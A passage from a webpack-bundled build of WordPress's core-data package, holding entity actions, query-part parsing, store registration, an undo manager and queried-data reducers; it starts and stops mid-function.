1964 const entityIdKey = entityConfig?.key || entities/* DEFAULT_ENTITY_KEY */.C_;
1965 if (recordId) {
1966 editsToSave[entityIdKey] = recordId;
1967 }
1968 return await dispatch.saveEntityRecord(
1969 kind,
1970 name,
1971 editsToSave,
1972 options
1973 );
1974};
1975function receiveUploadPermissions(hasUploadPermissions) {
1976 external_wp_deprecated_default()("wp.data.dispatch( 'core' ).receiveUploadPermissions", {
1977 since: "5.9",
1978 alternative: "receiveUserPermission"
1979 });
1980 return receiveUserPermission("create/media", hasUploadPermissions);
1981}
1982function receiveUserPermission(key, isAllowed) {
1983 return {
1984 type: "RECEIVE_USER_PERMISSION",
1985 key,
1986 isAllowed
1987 };
1988}
1989function receiveUserPermissions(permissions) {
1990 return {
1991 type: "RECEIVE_USER_PERMISSIONS",
1992 permissions
1993 };
1994}
1995function receiveAutosaves(postId, autosaves) {
1996 return {
1997 type: "RECEIVE_AUTOSAVES",
1998 postId,
1999 autosaves: Array.isArray(autosaves) ? autosaves : [autosaves]
2000 };
2001}
2002function receiveNavigationFallbackId(fallbackId) {
2003 return {
2004 type: "RECEIVE_NAVIGATION_FALLBACK_ID",
2005 fallbackId
2006 };
2007}
2008function receiveDefaultTemplateId(query, templateId) {
2009 return {
2010 type: "RECEIVE_DEFAULT_TEMPLATE",
2011 query,
2012 templateId
2013 };
2014}
2015const receiveRevisions = (kind, name, recordKey, records, query, invalidateCache = false, meta) => async ({ dispatch, resolveSelect }) => {
2016 (0,log_entity_deprecation/* default */.A)(kind, name, "receiveRevisions");
2017 const configs = await resolveSelect.getEntitiesConfig(kind);
2018 const entityConfig = configs.find(
2019 (config) => config.kind === kind && config.name === name
2020 );
2021 const key = entityConfig && entityConfig?.revisionKey ? entityConfig.revisionKey : entities/* DEFAULT_ENTITY_KEY */.C_;
2022 dispatch({
2023 type: "RECEIVE_ITEM_REVISIONS",
2024 key,
2025 items: Array.isArray(records) ? records : [records],
2026 recordKey,
2027 meta,
2028 query,
2029 kind,
2030 name,
2031 invalidateCache
2032 });
2033};
2034
2035
2036
2037/***/ }),
2038
2039/***/ 3832:
2040/***/ ((module) => {
2041
2042"use strict";
2043module.exports = window["wp"]["url"];
2044
2045/***/ }),
2046
2047/***/ 4027:
2048/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
2049
2050"use strict";
2051
2052// EXPORTS
2053__webpack_require__.d(__webpack_exports__, {
2054 A: () => (/* binding */ get_query_parts_default)
2055});
2056
2057// UNUSED EXPORTS: getQueryParts
2058
2059// EXTERNAL MODULE: external ["wp","url"]
2060var external_wp_url_ = __webpack_require__(3832);
2061// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/get-normalized-comma-separable.js
2062var get_normalized_comma_separable = __webpack_require__(533);
2063;// ./node_modules/@wordpress/core-data/build-module/utils/with-weak-map-cache.js
2064function withWeakMapCache(fn) {
2065 const cache = /* @__PURE__ */ new WeakMap();
2066 return (key) => {
2067 let value;
2068 if (cache.has(key)) {
2069 value = cache.get(key);
2070 } else {
2071 value = fn(key);
2072 if (key !== null && typeof key === "object") {
2073 cache.set(key, value);
2074 }
2075 }
2076 return value;
2077 };
2078}
2079var with_weak_map_cache_default = withWeakMapCache;
2080
2081
2082;// ./node_modules/@wordpress/core-data/build-module/queried-data/get-query-parts.js
2083
2084
2085function getQueryParts(query) {
2086 const parts = {
2087 stableKey: "",
2088 page: 1,
2089 perPage: 10,
2090 fields: null,
2091 include: null,
2092 context: "default"
2093 };
2094 const keys = Object.keys(query).sort();
2095 for (let i = 0; i < keys.length; i++) {
2096 const key = keys[i];
2097 let value = query[key];
2098 switch (key) {
2099 case "page":
2100 parts[key] = Number(value);
2101 break;
2102 case "per_page":
2103 parts.perPage = Number(value);
2104 break;
2105 case "context":
2106 parts.context = value;
2107 break;
2108 default:
2109 if (key === "_fields") {
2110 parts.fields = (0,get_normalized_comma_separable/* default */.A)(value) ?? [];
2111 value = parts.fields.join();
2112 }
2113 if (key === "include") {
2114 if (typeof value === "number") {
2115 value = value.toString();
2116 }
2117 parts.include = ((0,get_normalized_comma_separable/* default */.A)(value) ?? []).map(Number);
2118 value = parts.include.join();
2119 }
2120 parts.stableKey += (parts.stableKey ? "&" : "") + (0,external_wp_url_.addQueryArgs)("", { [key]: value }).slice(1);
2121 }
2122 }
2123 return parts;
2124}
2125var get_query_parts_default = with_weak_map_cache_default(getQueryParts);
2126
2127
2128
2129/***/ }),
2130
2131/***/ 4040:
2132/***/ ((module) => {
2133
2134"use strict";
2135module.exports = window["wp"]["deprecated"];
2136
2137/***/ }),
2138
2139/***/ 4460:
2140/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
2141
2142"use strict";
2143
2144// EXPORTS
2145__webpack_require__.d(__webpack_exports__, {
2146 A: () => (/* binding */ EntityProvider)
2147});
2148
2149;// external "ReactJSXRuntime"
2150const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
2151// EXTERNAL MODULE: external ["wp","element"]
2152var external_wp_element_ = __webpack_require__(6087);
2153// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/entity-context.js
2154var entity_context = __webpack_require__(8843);
2155;// ./node_modules/@wordpress/core-data/build-module/entity-provider.js
2156
2157
2158
2159function EntityProvider({ kind, type: name, id, children }) {
2160 const parent = (0,external_wp_element_.useContext)(entity_context/* EntityContext */.D);
2161 const childContext = (0,external_wp_element_.useMemo)(
2162 () => ({
2163 ...parent,
2164 [kind]: {
2165 ...parent?.[kind],
2166 [name]: id
2167 }
2168 }),
2169 [parent, kind, name, id]
2170 );
2171 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(entity_context/* EntityContext */.D.Provider, { value: childContext, children });
2172}
2173
2174
2175
2176/***/ }),
2177
2178/***/ 4565:
2179/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
2180
2181"use strict";
2182__webpack_require__.r(__webpack_exports__);
2183/* harmony export */ __webpack_require__.d(__webpack_exports__, {
2184/* harmony export */ EntityProvider: () => (/* reexport safe */ _entity_provider__WEBPACK_IMPORTED_MODULE_17__.A),
2185/* harmony export */ __experimentalFetchLinkSuggestions: () => (/* reexport safe */ _fetch__WEBPACK_IMPORTED_MODULE_14__.Y3),
2186/* harmony export */ __experimentalFetchUrlData: () => (/* reexport safe */ _fetch__WEBPACK_IMPORTED_MODULE_14__.gr),
2187/* harmony export */ __experimentalUseEntityRecord: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__.qh),
2188/* harmony export */ __experimentalUseEntityRecords: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__.bM),
2189/* harmony export */ __experimentalUseResourcePermissions: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__._),
2190/* harmony export */ fetchBlockPatterns: () => (/* reexport safe */ _fetch__WEBPACK_IMPORTED_MODULE_14__.l$),
2191/* harmony export */ privateApis: () => (/* reexport safe */ _private_apis__WEBPACK_IMPORTED_MODULE_16__.j),
2192/* harmony export */ store: () => (/* binding */ store),
2193/* harmony export */ useEntityBlockEditor: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__.hg),
2194/* harmony export */ useEntityId: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__.mV),
2195/* harmony export */ useEntityProp: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__.S$),
2196/* harmony export */ useEntityRecord: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__.MA),
2197/* harmony export */ useEntityRecords: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__.$u),
2198/* harmony export */ useResourcePermissions: () => (/* reexport safe */ _hooks__WEBPACK_IMPORTED_MODULE_15__.qs)
2199/* harmony export */ });
2200/* harmony import */ var _wordpress_data__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(7143);
2201/* harmony import */ var _wordpress_data__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_data__WEBPACK_IMPORTED_MODULE_0__);
2202/* harmony import */ var _reducer__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(5469);
2203/* harmony import */ var _selectors__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(8368);
2204/* harmony import */ var _private_selectors__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(8741);
2205/* harmony import */ var _actions__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(3440);
2206/* harmony import */ var _private_actions__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(9424);
2207/* harmony import */ var _resolvers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(6384);
2208/* harmony import */ var _locks_actions__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(2239);
2209/* harmony import */ var _entities__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(5914);
2210/* harmony import */ var _name__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(2278);
2211/* harmony import */ var _lock_unlock__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(6378);
2212/* harmony import */ var _dynamic_entities__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(8582);
2213/* harmony import */ var _utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(9410);
2214/* harmony import */ var _entity_provider__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(4460);
2215/* harmony import */ var _entity_types__WEBPACK_IMPORTED_MODULE_13__ = __webpack_require__(3377);
2216/* harmony import */ var _entity_types__WEBPACK_IMPORTED_MODULE_13___default = /*#__PURE__*/__webpack_require__.n(_entity_types__WEBPACK_IMPORTED_MODULE_13__);
2217/* harmony reexport (unknown) */ var __WEBPACK_REEXPORT_OBJECT__ = {};
2218/* harmony reexport (unknown) */ for(const __WEBPACK_IMPORT_KEY__ in _entity_types__WEBPACK_IMPORTED_MODULE_13__) if(["default","EntityProvider","store"].indexOf(__WEBPACK_IMPORT_KEY__) < 0) __WEBPACK_REEXPORT_OBJECT__[__WEBPACK_IMPORT_KEY__] = () => _entity_types__WEBPACK_IMPORTED_MODULE_13__[__WEBPACK_IMPORT_KEY__]
2219/* harmony reexport (unknown) */ __webpack_require__.d(__webpack_exports__, __WEBPACK_REEXPORT_OBJECT__);
2220/* harmony import */ var _fetch__WEBPACK_IMPORTED_MODULE_14__ = __webpack_require__(7006);
2221/* harmony import */ var _hooks__WEBPACK_IMPORTED_MODULE_15__ = __webpack_require__(5891);
2222/* harmony import */ var _private_apis__WEBPACK_IMPORTED_MODULE_16__ = __webpack_require__(7826);
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236const entitiesConfig = [
2237 ..._entities__WEBPACK_IMPORTED_MODULE_1__/* .rootEntitiesConfig */ .Mr,
2238 ..._entities__WEBPACK_IMPORTED_MODULE_1__/* .additionalEntityConfigLoaders */ .L2.filter((config) => !!config.name)
2239];
2240const entitySelectors = entitiesConfig.reduce((result, entity) => {
2241 const { kind, name, plural } = entity;
2242 const getEntityRecordMethodName = (0,_entities__WEBPACK_IMPORTED_MODULE_1__/* .getMethodName */ .zD)(kind, name);
2243 result[getEntityRecordMethodName] = (state, key, query) => {
2244 (0,_utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__/* ["default"] */ .A)(kind, name, getEntityRecordMethodName, {
2245 isShorthandSelector: true,
2246 alternativeFunctionName: "getEntityRecord"
2247 });
2248 return _selectors__WEBPACK_IMPORTED_MODULE_3__.getEntityRecord(state, kind, name, key, query);
2249 };
2250 if (plural) {
2251 const getEntityRecordsMethodName = (0,_entities__WEBPACK_IMPORTED_MODULE_1__/* .getMethodName */ .zD)(kind, plural, "get");
2252 result[getEntityRecordsMethodName] = (state, query) => {
2253 (0,_utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__/* ["default"] */ .A)(kind, name, getEntityRecordsMethodName, {
2254 isShorthandSelector: true,
2255 alternativeFunctionName: "getEntityRecords"
2256 });
2257 return _selectors__WEBPACK_IMPORTED_MODULE_3__.getEntityRecords(state, kind, name, query);
2258 };
2259 }
2260 return result;
2261}, {});
2262const entityResolvers = entitiesConfig.reduce((result, entity) => {
2263 const { kind, name, plural } = entity;
2264 const getEntityRecordMethodName = (0,_entities__WEBPACK_IMPORTED_MODULE_1__/* .getMethodName */ .zD)(kind, name);
2265 result[getEntityRecordMethodName] = (key, query) => {
2266 (0,_utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__/* ["default"] */ .A)(kind, name, getEntityRecordMethodName, {
2267 isShorthandSelector: true,
2268 alternativeFunctionName: "getEntityRecord"
2269 });
2270 return _resolvers__WEBPACK_IMPORTED_MODULE_4__.getEntityRecord(kind, name, key, query);
2271 };
2272 if (plural) {
2273 const getEntityRecordsMethodName = (0,_entities__WEBPACK_IMPORTED_MODULE_1__/* .getMethodName */ .zD)(kind, plural, "get");
2274 result[getEntityRecordsMethodName] = (...args) => {
2275 (0,_utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__/* ["default"] */ .A)(kind, plural, getEntityRecordsMethodName, {
2276 isShorthandSelector: true,
2277 alternativeFunctionName: "getEntityRecords"
2278 });
2279 return _resolvers__WEBPACK_IMPORTED_MODULE_4__.getEntityRecords(kind, name, ...args);
2280 };
2281 result[getEntityRecordsMethodName].shouldInvalidate = (action) => _resolvers__WEBPACK_IMPORTED_MODULE_4__.getEntityRecords.shouldInvalidate(action, kind, name);
2282 }
2283 return result;
2284}, {});
2285const entityActions = entitiesConfig.reduce((result, entity) => {
2286 const { kind, name } = entity;
2287 const saveEntityRecordMethodName = (0,_entities__WEBPACK_IMPORTED_MODULE_1__/* .getMethodName */ .zD)(kind, name, "save");
2288 result[saveEntityRecordMethodName] = (record, options) => {
2289 (0,_utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__/* ["default"] */ .A)(kind, name, saveEntityRecordMethodName, {
2290 isShorthandSelector: true,
2291 alternativeFunctionName: "saveEntityRecord"
2292 });
2293 return _actions__WEBPACK_IMPORTED_MODULE_5__.saveEntityRecord(kind, name, record, options);
2294 };
2295 const deleteEntityRecordMethodName = (0,_entities__WEBPACK_IMPORTED_MODULE_1__/* .getMethodName */ .zD)(kind, name, "delete");
2296 result[deleteEntityRecordMethodName] = (key, query, options) => {
2297 (0,_utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__/* ["default"] */ .A)(kind, name, deleteEntityRecordMethodName, {
2298 isShorthandSelector: true,
2299 alternativeFunctionName: "deleteEntityRecord"
2300 });
2301 return _actions__WEBPACK_IMPORTED_MODULE_5__.deleteEntityRecord(kind, name, key, query, options);
2302 };
2303 return result;
2304}, {});
2305const storeConfig = () => ({
2306 reducer: _reducer__WEBPACK_IMPORTED_MODULE_6__/* ["default"] */ .Ay,
2307 actions: {
2308 ..._dynamic_entities__WEBPACK_IMPORTED_MODULE_7__/* .dynamicActions */ .B,
2309 ..._actions__WEBPACK_IMPORTED_MODULE_5__,
2310 ...entityActions,
2311 ...(0,_locks_actions__WEBPACK_IMPORTED_MODULE_8__/* ["default"] */ .A)()
2312 },
2313 selectors: {
2314 ..._dynamic_entities__WEBPACK_IMPORTED_MODULE_7__/* .dynamicSelectors */ .A,
2315 ..._selectors__WEBPACK_IMPORTED_MODULE_3__,
2316 ...entitySelectors
2317 },
2318 resolvers: { ..._resolvers__WEBPACK_IMPORTED_MODULE_4__, ...entityResolvers }
2319});
2320const store = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createReduxStore)(_name__WEBPACK_IMPORTED_MODULE_9__/* .STORE_NAME */ .E, storeConfig());
2321(0,_lock_unlock__WEBPACK_IMPORTED_MODULE_10__/* .unlock */ .T)(store).registerPrivateSelectors(_private_selectors__WEBPACK_IMPORTED_MODULE_11__);
2322(0,_lock_unlock__WEBPACK_IMPORTED_MODULE_10__/* .unlock */ .T)(store).registerPrivateActions(_private_actions__WEBPACK_IMPORTED_MODULE_12__);
2323(0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.register)(store);
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333/***/ }),
2334
2335/***/ 4997:
2336/***/ ((module) => {
2337
2338"use strict";
2339module.exports = window["wp"]["blocks"];
2340
2341/***/ }),
2342
2343/***/ 5003:
2344/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
2345
2346"use strict";
2347/* harmony export */ __webpack_require__.d(__webpack_exports__, {
2348/* harmony export */ A: () => (/* binding */ setNestedValue)
2349/* harmony export */ });
2350function setNestedValue(object, path, value) {
2351 if (!object || typeof object !== "object") {
2352 return object;
2353 }
2354 const normalizedPath = Array.isArray(path) ? path : path.split(".");
2355 normalizedPath.reduce((acc, key, idx) => {
2356 if (acc[key] === void 0) {
2357 if (Number.isInteger(normalizedPath[idx + 1])) {
2358 acc[key] = [];
2359 } else {
2360 acc[key] = {};
2361 }
2362 }
2363 if (idx === normalizedPath.length - 1) {
2364 acc[key] = value;
2365 }
2366 return acc[key];
2367 }, object);
2368 return object;
2369}
2370
2371
2372
2373/***/ }),
2374
2375/***/ 5101:
2376/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
2377
2378"use strict";
2379/* harmony export */ __webpack_require__.d(__webpack_exports__, {
2380/* harmony export */ Z: () => (/* binding */ RECEIVE_INTERMEDIATE_RESULTS)
2381/* harmony export */ });
2382const RECEIVE_INTERMEDIATE_RESULTS = Symbol(
2383 "RECEIVE_INTERMEDIATE_RESULTS"
2384);
2385
2386
2387
2388/***/ }),
2389
2390/***/ 5469:
2391/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
2392
2393"use strict";
2394
2395// EXPORTS
2396__webpack_require__.d(__webpack_exports__, {
2397 Ay: () => (/* binding */ reducer_reducer_default)
2398});
2399
2400// UNUSED EXPORTS: autosaves, blockPatternCategories, blockPatterns, currentGlobalStylesId, currentTheme, currentUser, defaultTemplates, editsReference, embedPreviews, entities, entitiesConfig, navigationFallbackId, registeredPostMeta, themeBaseGlobalStyles, themeGlobalStyleRevisions, themeGlobalStyleVariations, undoManager, userPatternCategories, userPermissions, users
2401
2402// EXTERNAL MODULE: ./node_modules/fast-deep-equal/es6/index.js
2403var es6 = __webpack_require__(7734);
2404var es6_default = /*#__PURE__*/__webpack_require__.n(es6);
2405;// external ["wp","compose"]
2406const external_wp_compose_namespaceObject = window["wp"]["compose"];
2407// EXTERNAL MODULE: external ["wp","data"]
2408var external_wp_data_ = __webpack_require__(7143);
2409;// external ["wp","isShallowEqual"]
2410const external_wp_isShallowEqual_namespaceObject = window["wp"]["isShallowEqual"];
2411var external_wp_isShallowEqual_default = /*#__PURE__*/__webpack_require__.n(external_wp_isShallowEqual_namespaceObject);
2412;// ./node_modules/@wordpress/undo-manager/build-module/index.js
2413
2414function mergeHistoryChanges(changes1, changes2) {
2415 const newChanges = { ...changes1 };
2416 Object.entries(changes2).forEach(([key, value]) => {
2417 if (newChanges[key]) {
2418 newChanges[key] = { ...newChanges[key], to: value.to };
2419 } else {
2420 newChanges[key] = value;
2421 }
2422 });
2423 return newChanges;
2424}
2425const addHistoryChangesIntoRecord = (record, changes) => {
2426 const existingChangesIndex = record?.findIndex(
2427 ({ id: recordIdentifier }) => {
2428 return typeof recordIdentifier === "string" ? recordIdentifier === changes.id : external_wp_isShallowEqual_default()(recordIdentifier, changes.id);
2429 }
2430 );
2431 const nextRecord = [...record];
2432 if (existingChangesIndex !== -1) {
2433 nextRecord[existingChangesIndex] = {
2434 id: changes.id,
2435 changes: mergeHistoryChanges(
2436 nextRecord[existingChangesIndex].changes,
2437 changes.changes
2438 )
2439 };
2440 } else {
2441 nextRecord.push(changes);
2442 }
2443 return nextRecord;
2444};
2445function createUndoManager() {
2446 let history = [];
2447 let stagedRecord = [];
2448 let offset = 0;
2449 const dropPendingRedos = () => {
2450 history = history.slice(0, offset || void 0);
2451 offset = 0;
2452 };
2453 const appendStagedRecordToLatestHistoryRecord = () => {
2454 const index = history.length === 0 ? 0 : history.length - 1;
2455 let latestRecord = history[index] ?? [];
2456 stagedRecord.forEach((changes) => {
2457 latestRecord = addHistoryChangesIntoRecord(latestRecord, changes);
2458 });
2459 stagedRecord = [];
2460 history[index] = latestRecord;
2461 };
2462 const isRecordEmpty = (record) => {
2463 const filteredRecord = record.filter(({ changes }) => {
2464 return Object.values(changes).some(
2465 ({ from, to }) => typeof from !== "function" && typeof to !== "function" && !external_wp_isShallowEqual_default()(from, to)
2466 );
2467 });
2468 return !filteredRecord.length;
2469 };
2470 return {
2471 addRecord(record, isStaged = false) {
2472 const isEmpty = !record || isRecordEmpty(record);
2473 if (isStaged) {
2474 if (isEmpty) {
2475 return;
2476 }
2477 record.forEach((changes) => {
2478 stagedRecord = addHistoryChangesIntoRecord(
2479 stagedRecord,
2480 changes
2481 );
2482 });
2483 } else {
2484 dropPendingRedos();
2485 if (stagedRecord.length) {
2486 appendStagedRecordToLatestHistoryRecord();
2487 }
2488 if (isEmpty) {
2489 return;
2490 }
2491 history.push(record);
2492 }
2493 },
2494 undo() {
2495 if (stagedRecord.length) {
2496 dropPendingRedos();
2497 appendStagedRecordToLatestHistoryRecord();
2498 }
2499 const undoRecord = history[history.length - 1 + offset];
2500 if (!undoRecord) {
2501 return;
2502 }
2503 offset -= 1;
2504 return undoRecord;
2505 },
2506 redo() {
2507 const redoRecord = history[history.length + offset];
2508 if (!redoRecord) {
2509 return;
2510 }
2511 offset += 1;
2512 return redoRecord;
2513 },
2514 hasUndo() {
2515 return !!history[history.length - 1 + offset];
2516 },
2517 hasRedo() {
2518 return !!history[history.length + offset];
2519 }
2520 };
2521}
2522
2523
2524;// ./node_modules/@wordpress/core-data/build-module/utils/if-matching-action.js
2525const ifMatchingAction = (isMatch) => (reducer) => (state, action) => {
2526 if (state === void 0 || isMatch(action)) {
2527 return reducer(state, action);
2528 }
2529 return state;
2530};
2531var if_matching_action_default = ifMatchingAction;
2532
2533
2534;// ./node_modules/@wordpress/core-data/build-module/utils/replace-action.js
2535const replaceAction = (replacer) => (reducer) => (state, action) => {
2536 return reducer(state, replacer(action));
2537};
2538var replace_action_default = replaceAction;
2539
2540
2541;// ./node_modules/@wordpress/core-data/build-module/utils/conservative-map-item.js
2542
2543function conservativeMapItem(item, nextItem) {
2544 if (!item) {
2545 return nextItem;
2546 }
2547 let hasChanges = false;
2548 const result = {};
2549 for (const key in nextItem) {
2550 if (es6_default()(item[key], nextItem[key])) {
2551 result[key] = item[key];
2552 } else {
2553 hasChanges = true;
2554 result[key] = nextItem[key];
2555 }
2556 }
2557 if (!hasChanges) {
2558 return item;
2559 }
2560 for (const key in item) {
2561 if (!result.hasOwnProperty(key)) {
2562 result[key] = item[key];
2563 }
2564 }
2565 return result;
2566}
2567
2568
2569;// ./node_modules/@wordpress/core-data/build-module/utils/on-sub-key.js
2570const onSubKey = (actionProperty) => (reducer) => (state = {}, action) => {
2571 const key = action[actionProperty];
2572 if (key === void 0) {
2573 return state;
2574 }
2575 const nextKeyState = reducer(state[key], action);
2576 if (nextKeyState === state[key]) {
2577 return state;
2578 }
2579 return {
2580 ...state,
2581 [key]: nextKeyState
2582 };
2583};
2584var on_sub_key_default = onSubKey;
2585
2586
2587// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/entities.js + 2 modules
2588var entities = __webpack_require__(5914);
2589// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/queried-data/get-query-parts.js + 1 modules
2590var get_query_parts = __webpack_require__(4027);
2591;// ./node_modules/@wordpress/core-data/build-module/queried-data/reducer.js
2592
2593
2594
2595
2596
2597function getContextFromAction(action) {
2598 const { query } = action;
2599 if (!query) {
2600 return "default";
2601 }
2602 const queryParts = (0,get_query_parts/* default */.A)(query);
2603 return queryParts.context;
2604}
2605function getMergedItemIds(itemIds, nextItemIds, page, perPage) {
2606 const receivedAllIds = page === 1 && perPage === -1;
2607 if (receivedAllIds) {
2608 return nextItemIds;
2609 }
2610 const nextItemIdsStartIndex = (page - 1) * perPage;
2611 const size = Math.max(
2612 itemIds?.length ?? 0,
2613 nextItemIdsStartIndex + nextItemIds.length
2614 );
2615 const mergedItemIds = new Array(size);
2616 for (let i = 0; i < size; i++) {
2617 const isInNextItemsRange = i >= nextItemIdsStartIndex && i < nextItemIdsStartIndex + perPage;
2618 mergedItemIds[i] = isInNextItemsRange ? nextItemIds[i - nextItemIdsStartIndex] : itemIds?.[i];
2619 }
2620 return mergedItemIds;
2621}
2622function removeEntitiesById(entities, ids) {
2623 return Object.fromEntries(
2624 Object.entries(entities).filter(
2625 ([id]) => !ids.some((itemId) => {
2626 if (Number.isInteger(itemId)) {
2627 return itemId === +id;
2628 }
2629 return itemId === id;
2630 })
2631 )
2632 );
2633}
2634function items(state = {}, action) {
2635 switch (action.type) {
2636 case "RECEIVE_ITEMS": {
2637 const context = getContextFromAction(action);
2638 const key = action.key || entities/* DEFAULT_ENTITY_KEY */.C_;
2639 return {
2640 ...state,
2641 [context]: {
2642 ...state[context],
2643 ...action.items.reduce((accumulator, value) => {
2644 const itemId = value?.[key];
2645 accumulator[itemId] = conservativeMapItem(
2646 state?.[context]?.[itemId],
2647 value
2648 );
2649 return accumulator;
2650 }, {})
2651 }
2652 };
2653 }
2654 case "REMOVE_ITEMS":
2655 return Object.fromEntries(
2656 Object.entries(state).map(([itemId, contextState]) => [
2657 itemId,
2658 removeEntitiesById(contextState, action.itemIds)
2659 ])
2660 );
2661 }
2662 return state;
2663}
2664function itemIsComplete(state = {}, action) {
2665 switch (action.type) {
2666 case "RECEIVE_ITEMS": {
2667 const context = getContextFromAction(action);
2668 const { query, key = entities/* DEFAULT_ENTITY_KEY */.C_ } = action;
2669 const queryParts = query ? (0,get_query_parts/* default */.A)(query) : {};
2670 const isCompleteQuery = !query || !Array.isArray(queryParts.fields);
2671 return {
2672 ...state,
2673 [context]: {
2674 ...state[context],
2675 ...action.items.reduce((result, item) => {
2676 const itemId = item?.[key];
2677 result[itemId] = state?.[context]?.[itemId] || isCompleteQuery;
2678 return result;
2679 }, {})
2680 }
2681 };
2682 }
2683 case "REMOVE_ITEMS":
2684 return Object.fromEntries(
2685 Object.entries(state).map(([itemId, contextState]) => [
2686 itemId,
2687 removeEntitiesById(contextState, action.itemIds)
2688 ])
2689 );
2690 }
2691 return state;
2692}
2693const receiveQueries = (0,external_wp_compose_namespaceObject.compose)([
2694 // Limit to matching action type so we don't attempt to replace action on
2695 // an unhandled action.
2696 if_matching_action_default((action) => "query" in action),
2697 // Inject query parts into action for use both in `onSubKey` and reducer.
2698 replace_action_default((action) => {
2699 if (action.query) {
2700 return {
2701 ...action,
2702 ...(0,get_query_parts/* default */.A)(action.query)
2703 };
2704 }
2705 return action;
2706 }),
2707 on_sub_key_default("context"),
2708 // Queries shape is shared, but keyed by query `stableKey` part. Original
2709 // reducer tracks only a single query object.
2710 on_sub_key_default("stableKey")
2711])((state = {}, action) => {
2712 const { type, page, perPage, key = entities/* DEFAULT_ENTITY_KEY */.C_ } = action;
2713 if (type !== "RECEIVE_ITEMS") {
2714 return state;
2715 }
2716 return {
2717 itemIds: getMergedItemIds(
2718 state?.itemIds || [],
2719 action.items.map((item) => item?.[key]).filter(Boolean),
2720 page,
2721 perPage
2722 ),
2723 meta: action.meta
2724 };
2725});
2726const queries = (state = {}, action) => {
2727 switch (action.type) {
2728 case "RECEIVE_ITEMS":
2729 return receiveQueries(state, action);
2730 case "REMOVE_ITEMS":
2731 const removedItems = action.itemIds.reduce((result, itemId) => {
2732 result[itemId] = true;
2733 return result;
2734 }, {});
2735 return Object.fromEntries(
2736 Object.entries(state).map(
2737 ([queryGroup, contextQueries]) => [
2738 queryGroup,
2739 Object.fromEntries(
2740 Object.entries(contextQueries).map(
2741 ([query, queryItems]) => [
2742 query,
2743 {
2744 ...queryItems,
2745 itemIds: queryItems.itemIds.filter(
2746 (queryId) => !removedItems[queryId]
2747 )
2748 }
2749 ]
2750 )
2751 )
2752 ]
2753 )
2754 );
2755 default:
2756 return state;
2757 }
2758};
2759var reducer_default = (0,external_wp_data_.combineReducers)({
2760 items,
2761 itemIsComplete,
2762 queries
2763});
2764
2765
2766;// ./node_modules/@wordpress/core-data/build-module/reducer.js
2767
2768
2769
2770
2771
2772
2773
2774function users(state = { byId: {}, queries: {} }, action) {
2775 switch (action.type) {
2776 case "RECEIVE_USER_QUERY":
2777 return {
2778 byId: {
2779 ...state.byId,
2780 // Key users by their ID.
2781 ...action.users.reduce(
2782 (newUsers, user) => ({
2783 ...newUsers,
2784 [user.id]: user
2785 }),
2786 {}
2787 )
2788 },
2789 queries: {
2790 ...state.queries,
2791 [action.queryID]: action.users.map((user) => user.id)
2792 }
2793 };
2794 }
2795 return state;
2796}
2797function currentUser(state = {}, action) {
2798 switch (action.type) {
2799 case "RECEIVE_CURRENT_USER":
2800 return action.currentUser;
2801 }
2802 return state;
2803}
2804function currentTheme(state = void 0, action) {
2805 switch (action.type) {
2806 case "RECEIVE_CURRENT_THEME":
2807 return action.currentTheme.stylesheet;
2808 }
2809 return state;
2810}
2811function currentGlobalStylesId(state = void 0, action) {
2812 switch (action.type) {
2813 case "RECEIVE_CURRENT_GLOBAL_STYLES_ID":
2814 return action.id;
2815 }
2816 return state;
2817}
2818function themeBaseGlobalStyles(state = {}, action) {
2819 switch (action.type) {
2820 case "RECEIVE_THEME_GLOBAL_STYLES":
2821 return {
2822 ...state,
2823 [action.stylesheet]: action.globalStyles
2824 };
2825 }
2826 return state;
2827}
2828function themeGlobalStyleVariations(state = {}, action) {
2829 switch (action.type) {
